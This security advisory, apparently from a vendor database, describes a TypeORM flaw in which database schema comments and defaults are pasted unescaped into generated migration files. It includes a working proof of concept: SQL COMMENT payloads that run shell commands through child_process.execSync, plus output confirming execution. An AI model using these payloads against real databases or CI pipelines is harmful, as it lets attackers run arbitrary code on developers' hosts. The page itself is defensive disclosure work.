npm · typeorm
TypeORM: migration:generate template-literal code injection
typeorm migration:generate embeds database schema metadata into JS/TS template literals, escaping backticks but not ${...}. An attacker who can write schema metadata (column comments, defaults, view definitions) achieves arbitrary code execution on the host that loads the generated migration.
MigrationGenerateCommand.ts (L117-138) wraps each SQL statement in a JS template literal, escaping only backticks:
" await queryRunner.query(`" +
upQuery.query.replaceAll("`", "\\`") +
"`" + ...
Introspected schema strings reach this sink through driver query runners:
| Driver | Metadata source | Source |
|---|---|---|
| Postgres | column DEFAULT, COMMENT, CHECK constraints, view definitions |
PostgresQueryRunner.ts:1782, L1898, L2287, L4125 |
| MySQL/MariaDB | COLUMN_DEFAULT, COLUMN_COMMENT |
MysqlQueryRunner.ts:2873-2974, L3580-3583 |
| CockroachDB | Same patterns as Postgres | CockroachQueryRunner.ts |
escapeComment() on each driver strips only null bytes, leaving ${...} intact:
protected escapeComment(comment?: string) {
if (!comment) return comment
comment = comment.replaceAll("\u0000", "")
return comment
}
When the migration file is loaded (migration:run, import, or require), the JS engine evaluates ${...} as live interpolation.
Affected source:
| File | Lines | Role |
|---|---|---|
MigrationGenerateCommand.ts |
117-138 | Template-literal construction (sink) |
PostgresDriver.ts |
1886-1891 | escapeComment() — Postgres |
MysqlDriver.ts |
1322-1328 | escapeComment() — MySQL |
CockroachDriver.ts |
1236-1241 | escapeComment() — CockroachDB |
Confirmed injection vectors (MySQL):
| Vector | Result | Notes |
|---|---|---|
Column COMMENT |
Confirmed | Proven in PoC below |
Column DEFAULT |
Confirmed | Attacker sets ALTER TABLE ... DEFAULT '${...}'; payload appears in generated migration |
CHECK constraint |
Not exploitable | MySQL information_schema.CHECK_CONSTRAINTS strips content from CHECK_CLAUSE |
| View definitions | Not tested | Requires PostgreSQL ViewEntity introspection; likely exploitable via pg_get_viewdef() |
Suggested fix: Escape ${ to \${ (and \\ to \\\\) before embedding query strings into template literals, or switch to emitting the SQL as a JSON.stringify()-encoded regular string argument.
Prerequisites:
migration:generateCOMMENT, DEFAULT, or view definition textSteps:
${...}:-- PostgreSQL
COMMENT ON COLUMN users.name IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';
-- MySQL
ALTER TABLE users MODIFY COLUMN name VARCHAR(255) COMMENT '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';
npx typeorm migration:generate -d ./data-source.ts ./migrations/NextMigration
.ts file contains unescaped ${...}:export class NextMigration1234567890 implements MigrationInterface {
public async up(queryRunner: QueryRunner): Promise<void> {
await queryRunner.query(
`COMMENT ON COLUMN "users"."name" IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}'`,
);
}
// ...
}
npx typeorm migration:revert -d ./data-source.ts
Output confirms code execution — id ran on the host and its output was interpolated into the SQL:
ALTER TABLE `user` CHANGE `name` `name` varchar(255) NULL COMMENT 'uid=501(user) gid=20(staff) groups=20(staff),12(everyone),...'
The payload appears in whichever migration direction restores the DB's current state. A malicious DB comment with a clean entity comment places it in down(). Attacker-influenced entity metadata places it in up(). Either direction executes the code when the method runs.
Code injection / RCE. An attacker with DB schema write access executes arbitrary JavaScript on any machine that generates and loads the migration. This crosses the DB-to-host trust boundary.
CI/CD pipelines that auto-generate and run migrations are the highest-risk target. Any TypeORM user running migration:generate against a database with attacker-influenced schema metadata is affected.
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.